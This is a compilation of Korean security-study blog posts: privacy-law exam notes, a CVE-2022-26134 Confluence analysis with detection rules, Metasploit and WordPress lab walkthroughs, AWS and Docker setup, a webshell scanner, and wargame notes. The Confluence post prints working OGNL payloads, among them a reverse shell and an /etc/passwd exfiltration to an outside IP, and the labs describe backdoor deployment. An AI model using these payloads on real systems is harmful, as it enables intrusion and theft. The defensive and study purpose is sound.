반응형
반응형

법규

  • 개인정보의 기술적 관리적 보호조치 기준
    • 접속기록
      • 이용자 또는 개인정보 취급자 등이 개인정보처리시스템에 접속하여 수행한 업무 내역에 대하여 식별자, 접속일시, 접속지를 알 수 있는 정보, 수행업무 등 접속한 사실을 전자적으로 기록한것을 말한다.
  • OECD 프라이버시 보호 8원칙
    • 정보 정확성의 원칙
      • 개인정보는 그 이용 목적에 부합하는 것이어야 하고, 이용 목적에 필요한 범위 내에서 정확하고 완전하며 최신의 상태로 유지해야 한다.
    • 수집 제한의 원칙
      • 개인정보의 수집은 합법적이고 공정한 절차에 의하여 가능한 한 정보주체에게 알리거나 동의를 얻은 후에 수집되어야 한다.
    • 목적 명확화의 원칙
      • 개인정보는 수집 시 목적이 명확하여야 하며 이를 이용할 경우에도 수집 목적의 실현 또는 수집 목적과 양립되어야 하고 목적이 변경될 때 마다 명확히 해야 한다.
    • 이용 제한의 원칙
      • 개인정보는 정보주체의 동의가 있는 경우나 법률의 규정에 의한 경우를 제외하고는 명확화된 목적 이외의 용도로 공개되거나 이용되어서는 안 된다.
    • 안전성 보호의 원칙
      • 개인정보의 분실, 불법적인 접근, 훼손, 사용, 변조, 공개 등의 위험에 대비하여 합리적인 안전보호장치를 마련해야 한다.
    • 공개의 원칙
      • 개인정보의 처리와 정보처리장치의 설치, 활용 및 관련 정책은 일반에게 공개해야 한다.
    • 책임의 원칙
      • 개인정보 관리자는 위에서 제시한 원칙들이 지켜지도록 필요한 제반조치를 취해야 한다.
  • 개인정보 보호법 17조에서 정보주체의 개인정보를 제 3자에게 제공할 때 정보주체에게 알리고 동의를 받도록 하고 있다
    • 개인정보를 제공 받는자
    • 개인정보를 제공받는자의 개인정보 이용 목적
    • 제공하는 개인정보의 항목
    • 개인정보를 제공받는 자의 개인정보 보유 및 이용 기간
    • 동의를 거부할 권리가 있다는 사실 및 동의 거부에 따른 불이익이 있는경우 그 불이익의 내용
  • 개인정보 보호법의 영상정보처리기기의 설치 및 운영 제한관련 안내판
    • 설치 목적 및 장소
    • 촬영 범위 및 시간
    • 관리책임자 성명 및 연락처
    • 그 밖에 대통령령으로 정하는 사항
  • 개인정보 안전성 확보조치 기준인 개인정보보호위원회 고시에 따르면 개인정보처리자는 개인정보의 분실, 도난, 유출, 위조, 변조 또는 훼손되지 아니하도록 내부 의사결정 절차를 통하여 내부관리계획을 수립, 시행 하여야 한다.
  • 개인정보의 안전성 확보조치
    • 개인정보 처리자
      • 업무를 목적으로 개인정보파일을 운용하기 위하여 스스로 또는 다른사람을 통하여 개인정보를 처리하는 공공기관, 법인, 단체 및 개인 등을 말한다.
    • 개인정보 취급자
      • 개인정보처리자의 지휘, 감독을 받아 개인정보를 처리하는 임직원, 파견근로자, 시간제근로자 등을 말한다.
    • 개인정보처리시스템
      • 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스 시스템을 말한다.
    • 비밀번호
      • 정보주체 또는 개인정보취급자 등이 개인정보처리시스템, 업무용 컴퓨터 또는 정보통신망 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보를 말한다.
    • 내부망
      • 물리적 망분리, 접근 통제시스템 등에 의해 인터넷 구간에서의 접근이 통제 또는 차단되는 구간을 말한다.
    • 접근통제
      • 고유식별정보를 처리하는 개인정보 처리자는 인터넷 홈페이지를 통해 고유식별정보가 유출, 변조, 훼손되지 않도록 연 1회 이상 취약점을 점검하고 필요한 보완 조치를 하여야 한다.
  • DMZ
    • 물리적인 네트워크 구성에서 외부 네트워크와 내부 네트워크 사이에 위치한 중간지점으로 내부 시스템을 보호하기 위해 접근통제시스템으로 접근통제를 수행하면서 인터넷으로부터의 접근과 내부망으로의 접근을 허용해주는 구간을 말한다.
  • 안전성 확보조치
    • 개인정보처리자는 개인정보 취급자가 개인정보처리시스템에 접속한 기록을 1년 이상 보관 관리 하여야 한다. 다만, 5만명 이상의 정보주체에 관하여 개인정보를 처리하거나 민감정보 또는 내부관리계획을 처리하는 개인정보처리시스템의 경우에는 2년 이상 보관하여야 한다.
      • 개인정보처리자는 개인정보의 오남용 , 분실 도난 유출 위조 변조 또는 훼손 등에 대응하기 위하여 개인정보처리시스템의 접속기록을 월 1회 이상 점검하여야 한다.
      • 개인정보를 다운로드한 것이 발견되었을 경우에는 내부관리계획으로 정하는 바에 따라 그 사유를 반드시 확인하여야 한다.
    • 접속기록
      • 개인정보취급자 등이 개인정보처리시스템에 접속하여 수행한 업무내역에 대하여 개인정보취급자 등의 계정, 접속일시, 접속지 정보, 처리한 정보주체 정보, 수행업무 등을 전자적으로 기록한 것을 말한다.
      • 이 경우 ‘접속’이란 개인정보처리시스템과 연결되어 데이터 송신 또는 수신이 가능한 상태를 말한다.
      • 개인정보처리자는 개인정보처리시스템의 접속기록 등을 월 1회 이상 점검하여야 한다. 특히 개인정보를 다운로드한 것이 발견되었을 경우에는 내부관리계획으로 정하는 바에 따라 그 사유를 반드시 확인하여야 한다.
    • 내부관리 계획
      • 정보통신서비스 제공자 등이 개인정보의 안전한 처리를 위하여 개인정보보호 조직의 구성, 개인정보취급자의 교육, 개인정보 보호조치 등을 규전한 계획을 말한다.
    • 전자적 침해행위
      • 정상적인 보호, 인증 절차를 우회하여 정보통신기반시설에 접근할 수 있도록 하는 프로그램이나 기술적 장치 등을 정보통신기반시설에 설치하는 방법으로 정보통신망 또는 이와 관련된 정보시스템을 공격하는 행위를 말한다
    • 정보보호 사전점검
      • 정보통신망의 구축 또는 정보통신서비스의 제공 이전에 계획 또는 설계 등의 과정에서 정보보호를 고려하여 필요한 조치를 하거나 계획을 마련하는것을 말한다.
  • 위험
    • 원하지 않는 사건이 발생하여 손실 또는 부정적인 영향을 미칠 가능성을 말한다.
  • 취약성
    • 자산의 잠재적 속성으로 위협의 이용 대상이 되는 것을 말한다. 자산이 위협에 대한 취약성을 가지고 있을 때 손실/피해가 발생하며 자산에 취약성이 없다면 위협이 발생한다고 해도 손실/피해가 발생하지 않는다.
  • 정보자산 그룹핑의 개념
    • 조사된 자산을 기밀성, 무결성, 가용성 평가 결과에 기초하여 자산 유형, 보안특성, 중요도가 같은 것들을 묶어서 공통 자산 그룹으로 명시하는 것을 말한다. 관련 위협 및 취약성 평가와 위험평가를 수행할 때 비밀성, 무결성, 가용성 특성에 근거하여 결과가 달라지므로 같은 결과가 나오는 자산에 대해서 동일한 작업을 여러 번 반복하지 않기 위해서이다.
  • 장점
    • 위험 분석을 수행할 때 3가지 특성 즉, 기밀성, 무결성, 가용성 특성에 근거하여 결과가 달라지므로 같은 결과가 나오는 자산에 대하여 그룹핑을 함으로써 동일한 작업을 여러번 반복 안해도 된다.
  • 위험회피
    • 위험이 존재하는 프로세스나 사업을 수행하지 않고 포기하는 것으로 자산 매각이나 설계변경 등 다른 대안을 선택하여 해당 위험이 실현되지 않도록 하는것을 말한다.
  • 위험전가
    • 보험이나 외주 등으로 잠재적 비용을 제 3자에게 이전하거나 할당하는 것으로 위험에 대비하여 보험을 들거나 다른 기관과 계약을 맺어 위협이 발생시키는 위험과 비용을 공유하는것을 말함.
  • 디지털 자료가 법적 인정을 받기 위한 원칙
    • 무결성의 원칙 : 증거 수집 이후에 변화x
    • 정당성의 원칙 : 증거는 적법절차에 의해 수집되어야 하며 위법한 방법으로 수직된 증거는 효력 상실
    • 연계 보관성의 원칙 : 증거물 획득 , 이송, 분석, 보관 , 법정 제출의 각 단계에서 담당자 및 책임자를 명확히 해야 한다
    • 신속성의 원칙 ; 모든 과정은 신속하게 진행되어야 한다
    • 재현의 원칙 : 피해 직전과 같은 조건에서 현장 검증을 실시하였다면, 동일한 결과가 나와야 한다.
반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 개인정보 관리사(CPPG) -1  (0) 2023.06.25
Rookies 지원과정  (0) 2023.04.25
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Docker취약점 분석 실습  (0) 2023.04.08
반응형

> 개요
2022년 06월 02일 발표된 Atlassian Confluence에 대한 원격코드 실행 취약점(CVE-2022-26134)에 대한 분석 공유.

> 탐지 시그니처

msg="SERVER-WEBAPP Atlassian Confluence OGNL expression injection attempt"
drop tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"SERVER-WEBAPP Atlassian Confluence OGNL expression injection attempt";
flow:to_server,established;
content:"${"; fast_pattern; http_uri;
content:"java"; distance:0; http_uri;
content:"|28|"; distance:0; http_uri;
content:"}"; distance:0; http_uri;
pcre:"/\x24\x7b[^\x7d]*?javax?\x2e[^\x7d]*?\x28/Ui";
metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http;
reference:cve,2022-26134;
classtype:attempted-user;
sid:59934;
rev:1;
gid:1;
)
msg="MALWARE-BACKDOOR Jsp.Webshell.Noop download attempt"
drop tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (
msg:"MALWARE-BACKDOOR Jsp.Webshell.Noop download attempt";
flow:to_client,established;
file_data;
content:"java.util.*";
content:"java.io.FileOutputStream"; distance:0;
content:"request.getParameter(|22|name|22|)"; within:200; fast_pattern;
content:"request.getParameter(|22|contentString|22|)"; isdataat:!300,relative;
metadata:impact_flag red, policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http;
reference:cve,2022-26134;
reference:url,community.atlassian.com/t5/Confluence-discussions/CVE-2022-26134-Critical-severity-unauthenticated-remote-code/td-p/20456533;
classtype:trojan-activity;
sid:59930;
rev:1;
gid:1;
)
외 다수 (Rule Set)

> 분석 내용
  > ognl injection이 시도될 경우, HttpServelet,service 부터 OgnlValueStack.findValue 스택이 호출되는 것으로 확인됨.
  > 이 중 OnlValueStack findValue(str)은 OGNL 표현식의 시작점으로, 아래의 스택 리스트가 호출되는 것으로 확인됨.

at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)
at ognl.SimpleNode.getValue(SimpleNode.java:193)
at ognl.Ognl.getValue(Ognl.java:333)
at ognl.Ognl.getValue(Ognl.java:310)A
at co m.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) 
at co m.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) 
at co m.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) 
at co m.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) 
at co m.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) 
at co m.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) 
at co m.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) 
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)

  > 특히 CVE-2022-26134 취약점이 시도될 경우, 아래의 과정을 거쳐 URI내 OGNL 표현식이 삽입되는 것으로 확인됨.

  >TextParseUtil.class에서  OgnlValueStack.findValue를 호출.

public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            }
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        }
        if (previous < expression.length())
            sb.append(expression.substring(previous));
        return sb.toString();
    }
}
 
  > ActionChainResult.class에서 this.namespace가 포함된 TextParseUtil.translateVariables를 호출하여 제공된 표현식으로 변환.

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace();
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

  > namespace는 요청된 URI을 처리하는  com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath 에 의하여 생성됨.

public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}
  > 요약 정리
  1).  요청 URI내 포함된 OGNL 표현식이 com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath: 의 함수에 의하여 namespace로 생성되며
  2).  생성된 namespace는 검증과정 없이 TextParseUtil.translateVariables에서 ActionChainResult.execute로 전달됨.
  3).  이후 TextParseUtil.class에서  OgnlValueStack.findValue를 호출하여 URI내 포함된 OGNL 공격 구문이 실행되는 것으로 확인.


> 패치 변경 점

  > 기존의 TextParseUtil.translateVariables에서 ActionChainResult.execute로 전달되는 과정을 삭제
  패치 전

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace();
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

  패치 후

public void execute(ActionInvocation invocation) throws Exception {
  if (this.namespace == null)
    this.namespace = invocation.getProxy().getNamespace();
  String finalNamespace = this.namespace;
  String finalActionName = this.actionName;

  > xwork,jar내 신규 클라스를 추가하여 표현식에 대한 검증 과정을 추가함.
  추가 코드:

public Object findValue(String expr) {
  try {
    if (expr == null)
      return null;
    if (!this.safeExpressionUtil.isSafeExpression(expr))
      return null;
    if (this.overrides != null && this.overrides.containsKey(expr))

  
> PoC


PoC
1 ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}
2 ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}
3 ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("var d='';var i = java.lang.Runtime.getRuntime().exec('whoami').getInputStream(); while(i.available())d+=String.fromCharCode(i.read());d"))}/
4 ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
  

  응답 값 (응답 값내 X-Cmd-Response 존재 여부 확인 필요)

< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654538600571
< Set-Cookie: JSESSIONID=902E8BB49E50DDF8C600DC43F1C573D2; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence
< Location: /login.action?os_destination=%2F%24%7BClass.forName%28%22co m.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var+d%3D%27%27%3Bvar+i+%3D+java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B+while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D%2Findex.action&permissionViolation=true 
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Mon, 06 Jun 2022 18:03:20 GMT


> 결론 

1). 분석의 경우 기존 생성하여 사용 중인 "Confluence 취약점을 이용한 원격코드 실행 시도 탐지" 템플릿을 사용하여 분석.
2). 분석 과정에서 URI에 시도된 원격 코드 ex) bash shell, 시스템 정보 조회 등 에 대한 공격 성공 여부 확인 필요. 
3). PoC 4번의 경우, "SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt" 으로 탐지되고 있어 분석 시 주의 필요.


> Reference
https://github.com/h3v0x/CVE-2022-26134
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

반응형

'공부 > 보안' 카테고리의 다른 글

Rookies 지원과정  (0) 2023.04.25
[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Docker취약점 분석 실습  (0) 2023.04.08
[보안] Bandit  (0) 2023.04.06
반응형

Metasploit
1) Metasploit famework 실행
2) IP Scan
3) Port Scan
4) Exploit
5) 확인
Metasploit실습
실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT
운영체제 : metasploitable2-Linux
Memory : 512 MB
Processors : 1
Hard Disk : 8 GB
Network : NAT

Metasploit

Moore가 Perl Script로 만든 취약점 공격 도구

칼리리눅스에서 Exploitation Tools에서 metasploit framework를 확인할 수 있다.

1) Metasploit framework 실행
metasploit framework 실행화면이다.


2) IP Scan
nmap을통해 스캔을하여 victim의 아이피인 192.168.5.131을 확인할 수 있었다.

sudo nmap -sn 192.168.5.129-140
(타겟 IP주소 확인 : 192.168.5.131)

3) Port Scan

포트스캔 방법중에 TCP scan 방법을 사용하였다.
열려져있는 여러 포트들을 확인할 수 있었다.

sudo nmap -sT 192.168.5.131  

21번 포트는 FTP서비스를 실행하고 있고, vsftp 2.3.4라는 버전을 사용하고있다. 해당 버전은 Backdoor Command가 실행되는 취약점을 가지고있다

4) Exploit
Metasploit framework을 통해 Victim 서버에 expoit을 시도하였고, 성공하였다.

search vsftpd // vsftpd 취약점 존재 확인
set rhosts 192.168.5.131 // victim 타게팅
exploit

5) 확인

Exploit하여 접속되었는지 확인하기 위해서 /home/nct 디렉토리에 nct.txt 파일을 만들었다.

cd /hoem/nct //nct 디렉토리로 이동
touch nct.txt // nct.txt 생성
echo "nct is very famous">>nct.txt // nct.txt 내용 추가

Victim 서버에 접속하여 해당 파일을 확인결과 만들어진것을 확인할 수 있었다.

cd /home/nct
sudo cat nct.txt
 
반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Docker취약점 분석 실습  (0) 2023.04.08
[보안] Bandit  (0) 2023.04.06
[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
반응형

클라우드환경 인프라 구축 실습
실습클라우드환경 : AWS
1. VPC 생성
2. 서브넷 생성
3. 인터넷 게이트웨이 생성
4. 라우팅 테이블 설정
5. EC2 생성

실습 인프라 구성도

1. VPC 생성

1) AWS 로그인 후에 VPC를 검색

2) VPC 화면에서 VPC생성

3) VPC 설정
이름 : jdhvpc
IPv4 CIDR 수동 입력
IPv4 CIDR : 10.30.0.0/16
IPv6 CIDR 블록설정 없음
테넌시 : 기본값
4) VPC 생성 클릭

2. 서브넷 생성

1) 서브넷 생성 클릭


2) VPC 선택 및 설정(jdhvpc)
서브넷 이름 : jdhsub01
가용영역 : us-east-1a
IPv4 CIDR: 10.30.1.0/24


3) 서브넷을 선택하고 작업에서 서브넷 설정 편집 선택

4) 퍼블릭 IPv4 주소 자동할당 활성화에 체크(퍼블릭 서브넷으로 변환)

3. 게이트웨이 생성

1) 인터넷 게이트웨이 생성 클릭

2) 이름태그: igw-jdh


3) igw-jdh선택하고 작업에서 VPC에 연결

4. 라우팅 테이블 설정

1) 라우팅 테이블 목록에서 찾아봄 클릭 (생성 아님)
2) 해당 라우팅 테이블 ID를 클릭


3) 라우팅탭 클릭하고 라우팅 편집 클릭


4) 라우팅 추가 클릭, 0.0.0.0/0을 선택하고, 인터넷 게이트웨이 선택, igw-jdh선택, 변경사항 저장


5) 서브넷 연결 탭에서 명시적 서브넷 연결의 서브넷 연결 편집 클릭


6) jsub01앞에 체크하고 연결 저장 클릭

5. EC2 생성

1) EC2를 검색후 나온 화면에서 인스턴스를 접속해 인스턴스 시작을 누른다.

2) 인스턴스 설정 화면

  • 운영체제 설정
  • 인스턴스 유형과 키페어 설정
  • 네트워크 설정

SSH로 접속하기 위해서는 키페어 생성하여 설정하여야 한다.

3) 인스턴스 SSH로 접속

인스턴스에 ssh 접속 주소를 복사한 후 키 가있는 디렉토리에서 명령어를 입력하면 사용하는 OS에서 SSH로 접속이 가능하다

해당 인스턴스에 웹서버를 올리고 그누보드 서비스를 시작하였다.

반응형

'공부 > 클라우드' 카테고리의 다른 글

CLI를 활용한 클라우드 인프라 구축실습  (0) 2023.04.05
반응형

Docker취약점 분석 실습
실습환경: Kali-Linux

  1. 실습

Victim 서버 설치

Kali를 통한 Victim서버 스캔

스캔 중 8000번 포트에 http 서비스가 올라와있어 접속해 확인해보았다.

nmap 도구를 사용해 해당 사이트의 버전을 확인 할 수 있었다.

워드프레스에 어떤 테마나 플러그인을 사용하는것까지 확인 가능하다

이후에 wpscan 툴을 통해 buruteforce공격을 진행하였다

아이디와 패스워드를 확인하였다

확인한 아이디 패스워드를 통해 관리자 페이지에 접속 할 수 있었다.

Weevely를 이용해서 백도우 파일을 만들었다

플러그인에 파일 php구문을 삽입하였다

워드프레스 시스템에 침투를 성공하였다.

 

 

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Bandit  (0) 2023.04.06
[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
[보안] DVWA를 통한 해킹실습  (0) 2023.04.05
반응형

Docker 네트워크 구성 실습
실습환경 : Kali
1.Docker란?
2.실습

구성도

1.Docker란?

  • 서비스 단위 빠른 개발: 개발자가 특정 비즈니스 로직에 대해서만 집중하여 개발 가능
  • 배포 용이: 개별 서비스 단위로 개발, 패키징, 빌드, 테스트, 배포로 각 서비스마다 유연한 스케줄
  • 서비스 단위 고효율 저비용 Scale-Out 구조: 서비스 단위로 스케일링이 가능하여 불필요한 서비스는 줄이고 더 많은 자원이 필요한 서비스는 확장가능

2.실습

1) 도커를 통한 nginx 서버 web01, web02, web03설치

볼륨설정을 통해 해당 서버의 디렉토리를 바꿔주었다.


Web01


Web02


Web03

2) nginx.conf 설정

로드밸런싱을 위해 nginx.conf파일을 설정하였다.

해당 웹서버에서 로드밸런싱되어 모두 확인되는걸 볼 수 있다.

반응형

'공부 > 리눅스' 카테고리의 다른 글

[Linux] CentOS7 오라클 연동 APO(Apache+PHP+Oracle) 설치😄  (0) 2023.04.05
[Linux] FTP 보안명세 구현🤗  (0) 2023.04.05
리눅스 마스터 2급  (0) 2020.01.30
11.07 리눅스  (0) 2019.11.07
반응형

1. Chat GPT란?

Chat GPT는 OpenAI에서 개발한 대화형 인공지능 '챗봇'이다.
하지만 단순 챗봇이라면 이렇게 많은 사람들이 관심을 갖지는 않았을 것 같다.

ChatGPT는 인터넷 역사상 가장 빠르게 성장하는 소비자 앱으로 불과 2개월 만에 1억 명의 사용자를 확보할 수 있습니다.

출시된지 현재 3개월 가량되었고 2개월 만에 누적 사용자 1억명을 넘겼다.
지금까지 있던 많은 페이스북, 인스타 등 많은 어플리케이션이 있었지만 이렇게 시작부터 주목 받았던 것은 없다고 한다.

그렇다면 왜 이렇게 주목을 받는걸까?

필자가 생각했을때 가장 큰 이유는 '기능'이라고 생각한다.
이런 대화형 인공지능 챗봇이 아예 없었던것은 아니다.
하지만 질문의 내용과 학습에 따라 기자에게는 기사, 블로거에게는 글, 개발자에게는 코드, 학생들에겐 숙제, 논문 등 많은 내용의 답변을 해준다.

정말 대단하다고 생각한다.
블록체인이 열풍일 때도 그저 그런 바람일꺼라고 생각했다. 가상화폐로써 생산되어 지지만 실제적인 가치창조를 하는게 0에 가깝다고 생각했기에 미래 먹거리로써는 부족한면이 있지 않나 생각을 많이 했다.

하지만 지금의 Chat GPT 열풍은 다르다고 생각한다.
우선 생산성에서 엄청난 발전을 이룰것이라고 생각한다. Chat GPT가 답변해주는 내용이 퀄리티가 완벽하진 않을 수 있다. 하지만 이 것을 이용한다면 압도적인 시간으로 산출물을 만들어 갈 수 있다.

 

2. ChatGPT를 활용한 웹쉘 탐지 솔루션.

그 동안 우리는 무언가 시스템을 개발할때는 관련 언어에 대한 학습이 필요했다.
하지만 ChatGPT를 통하면 어떠한 언어에 대한 학습이 구지 필요하지 않다.

ChatGPT에게 웹쉘 탐지 시스템에 대한 예제를 물어봤다.

import os

# Define the directory to scan for webshells
directory = '/var/www/html/'

# Define a list of suspicious PHP functions used by webshells
suspicious_functions = ['exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open']

# Define a list of file extensions to scan
file_extensions = ['.php', '.php5']

# Define a list to store the results of the scan
results = []

# Loop through all files in the directory and check for suspicious functions
for root, dirs, files in os.walk(directory):
    for file in files:
        if file.endswith(tuple(file_extensions)):
            path = os.path.join(root, file)
            with open(path, 'r') as f:
                for line in f:
                    for function in suspicious_functions:
                        if function in line:
                            results.append(path)

# Print the results of the scan
if results:
    print('The following files may contain webshells:')
    for result in results:
        print(result)
else:
    print('No webshells were found.')

suspicious_functions = ['exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open']

file_extensions = ['.php', '.php5']

관련 내용들을 필터링.

Kali에 있는 기본적인 웹쉘들을 탐지해주는 모습을 볼 수 있다.

현재 확장자 기반 필터링이 되고 있어 시그니처또한 필터링 추가를 원했다.

관련 c99, r57, wso 웹쉘들의 시그니처를 필터링에 추가.

이 작업이 단순 질의 몇번에 완성되는 모습이 너무 대단한거 같다.
앞으로 추가적인 고도화 작업을 통해 웹쉘 탐지 솔루션을 완성시켜 나가겠다.

참고영상
보안프로젝트
https://www.youtube.com/watch?v=kfYLZdd-_PE&list=PL1jdJcP6uQttgtmg3zKqPDDG0Q0sDiqM2&index=17

반응형

'공부 > 개발 기초' 카테고리의 다른 글

시스템해킹과 보안 - 80x86 시스템의 이해  (0) 2020.01.13
12.25 생활코딩 PHP  (0) 2019.12.25
12.20 PHP  (0) 2019.12.20
HTML 서버 운영 (apache서버)  (0) 2019.12.02
HTML태그  (0) 2019.11.30
반응형

Bandit-00

Bandit Level 0

WarGame을 시작하기 위한 준비단계.
bandit.labs.overthewire.org SSH 2220 포트로 접속.
bandit0 / bandit0 계정 및 비밀번호로 접속.

무료 SSH 접속 프로그램 다운.
https://putty.softonic.kr/

Bandit Level 1

readme 파일에 bandit1 비밀번호가 있음.
readme 파일내용을 확인해 bandit1 계정으로 접속.
readme 파일은 홈디렉토리.

ls -> cat 명령어를 통해 readme 파일을 확인.
다음 나온 암호가 암호화 되어있나? 라는 생각을 잠시 했지만 그냥 접속하면 접속.

접속완료.

Bandit Level 2

bandit2계정의 비밀번호를 가진 '-'파일.
'-'파일을 읽어 bandit2계정으로 접속하라.

그냥 cat - 하면 -를 명령어로 인식해서 그런가? 내용을 확인할 수 없다.

cat ./- 를 사용하니 파일을 읽을 수 있었다.

접속완료.

 

Bandit-01

Bandit Level3

홈 디렉토리 spaces in this filename 파일에 비밀번호.

bandit2@bandit:~$ cat spaces\ in\ this\ filename
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

이스케이프 문자 사용을 생각하고 낸 문제로 보이는데 s누르고 탭눌러서 해결.

접속완료.

